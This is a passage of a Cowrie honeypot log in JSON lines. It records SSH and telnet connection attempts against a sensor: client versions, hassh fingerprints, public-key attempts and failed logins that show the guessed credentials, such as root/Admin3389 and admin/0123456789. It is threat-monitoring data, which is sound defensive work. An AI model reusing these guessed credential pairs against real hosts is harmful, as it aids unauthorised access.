sa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:09.193703Z","src_ip":"80.94.92.184","session":"2a68d22c3914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567890","message":"login attempt [solv/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:11.411537Z","src_ip":"80.94.92.184","session":"2a68d22c3914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin3389","message":"login attempt [root/Admin3389] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:11.602638Z","src_ip":"27.71.230.31","session":"24fc880e5e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:12.570209Z","src_ip":"80.94.92.184","session":"2a68d22c3914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:13.086207Z","src_ip":"27.71.230.31","session":"24fc880e5e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54568,"dst_ip":"159.203.135.109","dst_port":22,"session":"42edf9b3ac08","protocol":"ssh","message":"New connection: 109.237.96.109:54568 (159.203.135.109:22) [session: 42edf9b3ac08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:17.267960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:17.272945Z","src_ip":"109.237.96.109","session":"42edf9b3ac08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:17.364102Z","src_ip":"109.237.96.109","session":"42edf9b3ac08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"karimova","message":"login attempt [root/karimova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:17.632583Z","src_ip":"109.237.96.109","session":"42edf9b3ac08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:18.724793Z","src_ip":"109.237.96.109","session":"42edf9b3ac08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.12197184562683,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:29.504388Z","src_ip":"172.81.62.90","session":"a320439c0452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":37004,"dst_ip":"159.203.135.109","dst_port":22,"session":"f305d0687ce0","protocol":"ssh","message":"New connection: 178.20.210.208:37004 (159.203.135.109:22) [session: f305d0687ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:41.273698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:41.277664Z","src_ip":"178.20.210.208","session":"f305d0687ce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:41.376257Z","src_ip":"178.20.210.208","session":"f305d0687ce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0123456789","message":"login attempt [admin/0123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:41.762971Z","src_ip":"178.20.210.208","session":"f305d0687ce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:42.863440Z","src_ip":"178.20.210.208","session":"f305d0687ce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60844,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3bc6fb5e86f","protocol":"telnet","message":"New connection: 172.81.62.90:60844 (10.17.0.5:23) [session: c3bc6fb5e86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:34.649161Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":53058,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d8ee31a816f","protocol":"ssh","message":"New connection: 46.19.67.181:53058 (159.203.135.109:22) [session: 6d8ee31a816f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:39.683271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:39.689138Z","src_ip":"46.19.67.181","session":"6d8ee31a816f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:39.801285Z","src_ip":"46.19.67.181","session":"6d8ee31a816f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789mama","message":"login attempt [root/123456789mama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:40.140550Z","src_ip":"46.19.67.181","session":"6d8ee31a816f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:41.256059Z","src_ip":"46.19.67.181","session":"6d8ee31a816f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60174,"dst_ip":"10.17.0.5","dst_port":22,"session":"c90ccab53ba4","protocol":"ssh","message":"New connection: 103.172.78.219:60174 (10.17.0.5:22) [session: c90ccab53ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:43.145210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:43.148597Z","src_ip":"103.172.78.219","session":"c90ccab53ba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:43.406241Z","src_ip":"103.172.78.219","session":"c90ccab53ba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfrcbv2003","message":"login attempt [root/vfrcbv2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:44.180483Z","src_ip":"103.172.78.219","session":"c90ccab53ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:20:45.441257Z","src_ip":"103.172.78.219","session":"c90ccab53ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.353271484375,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:15.002337Z","src_ip":"172.81.62.90","session":"c3bc6fb5e86f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42836,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d015903152d","protocol":"telnet","message":"New connection: 172.81.62.90:42836 (159.203.135.109:23) [session: 7d015903152d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:23.498198Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42852,"dst_ip":"159.203.135.109","dst_port":23,"session":"951a244db059","protocol":"telnet","message":"New connection: 172.81.62.90:42852 (159.203.135.109:23) [session: 951a244db059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:25.519475Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.215.178","src_port":31034,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2b1d3204a92","protocol":"telnet","message":"New connection: 172.104.215.178:31034 (10.17.0.5:23) [session: e2b1d3204a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:30.739421Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:30.744431Z","src_ip":"172.104.215.178","session":"e2b1d3204a92","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:30.747684Z","src_ip":"172.104.215.178","session":"e2b1d3204a92","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:30.751247Z","src_ip":"172.104.215.178","session":"e2b1d3204a92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.02138209342956543,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:30.760670Z","src_ip":"172.104.215.178","session":"e2b1d3204a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.215.178","src_port":31042,"dst_ip":"10.17.0.5","dst_port":23,"session":"e117a7d6a2c6","protocol":"telnet","message":"New connection: 172.104.215.178:31042 (10.17.0.5:23) [session: e117a7d6a2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:30.765062Z"}
{"eventid":"cowrie.session.closed","duration":0.004149436950683594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:30.769111Z","src_ip":"172.104.215.178","session":"e117a7d6a2c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.156.64.228","src_port":39662,"dst_ip":"10.17.0.5","dst_port":22,"session":"02b6b71ff951","protocol":"ssh","message":"New connection: 217.156.64.228:39662 (10.17.0.5:22) [session: 02b6b71ff951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:33.443424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:33.452992Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:33.659298Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:14:5b:5b:b3:7d:bc:93:a8:d8:1b:ed:2a:bb:fb:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNHvpgGYHnLNQZFKIwT4WgVlvrHkJefOL8T9hi29cwEp8NmpfApXXTT4nStNHDEF4wlHWx5soSd1PgFWyAueSkjpDIlg6KN76zxkMieLjyMN2UFMe/Lm6XY8s2hPQ4UfxErMMY7OgflXHWBtEOIyCaQ3gO39SXEhF0uAHABmJIMhjUSlPh9w7qZfopvXlzXx96enBVayo1QcNZa5HkK5Xew7roVusp0vwMx9r4xKP/xY2WIQ13oRAPb1Ck8/Ko4yaZvRDIRmSeCbU/9yd2/YVJT+vsLb03mCZCPOxaRuTchOtLRPK7Grpllj5BdtYJLqwOxF2HDiy3kzWHmKcGBzsF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:14:5b:5b:b3:7d:bc:93:a8:d8:1b:ed:2a:bb:fb:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:34.345483Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:14:5b:5b:b3:7d:bc:93:a8:d8:1b:ed:2a:bb:fb:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNHvpgGYHnLNQZFKIwT4WgVlvrHkJefOL8T9hi29cwEp8NmpfApXXTT4nStNHDEF4wlHWx5soSd1PgFWyAueSkjpDIlg6KN76zxkMieLjyMN2UFMe/Lm6XY8s2hPQ4UfxErMMY7OgflXHWBtEOIyCaQ3gO39SXEhF0uAHABmJIMhjUSlPh9w7qZfopvXlzXx96enBVayo1QcNZa5HkK5Xew7roVusp0vwMx9r4xKP/xY2WIQ13oRAPb1Ck8/Ko4yaZvRDIRmSeCbU/9yd2/YVJT+vsLb03mCZCPOxaRuTchOtLRPK7Grpllj5BdtYJLqwOxF2HDiy3kzWHmKcGBzsF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:34.347973Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:52:80:a4:5b:de:63:d7:4d:3f:46:fb:5f:d5:1b:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeXcKh01n6qtG6s7TQ9vPuHB5PKUK0GpYbs9hcu1TpeR3iOvtzOscMkG5lQZkRoSd7NdQXZbgpusb2aXRykGPTvrxe+v8sl9T8dn42OND98LcdPjD/8S4AXbftPfYDJ4+KXGne2KsoAPdcdxYXLUvyvbiwNbtSVNBF10St8/FJ+fFIT38PD+57WD7Q5ts84vgBi21AtbOOSVi+QI8L251K6SIyzOjJhBU2fLwF5Otc1FTKp5NIS4DbXOGc+qfMnNvfFyJqRYAAK2+Q3v+x3Bt+UmVuWzybdCMfOAD035lulFn1mNewwlvDHNtf5/Vst6+E8xdc3PkG3Ql6SFiBTE3XjfBnE8u7hVI3BstsN7I9qpB8VJA4ZoNJ8m7T1EIsEGXh8hQp6ELTqcLQufiOn62oTKkc8u5gwPH5n6T7APLL5fXrGenGDk1iqcK8Z7I47Eb1SLRBh9ziZ6+syZJ7LP3IptPEJZSIWxBdcgUYOsshn9c0Elc4LWupPZo3q3EAAbxTSwo6Mlr6p3vn4N3SBP+skPHCAbOiqFnXDluk5ItSigTMUTAoN/9I5gWtBv55VkZRaC59oOve4yEHhHmfNG07Bt9faM3mICCoHdzQ5bt+HecaTO/JwsB/zME7rthin8cYRjDR1MC7VWZjDSjPjqZ2ASEQckIG9TrOfsKxef2Nuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:52:80:a4:5b:de:63:d7:4d:3f:46:fb:5f:d5:1b:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:34.483112Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
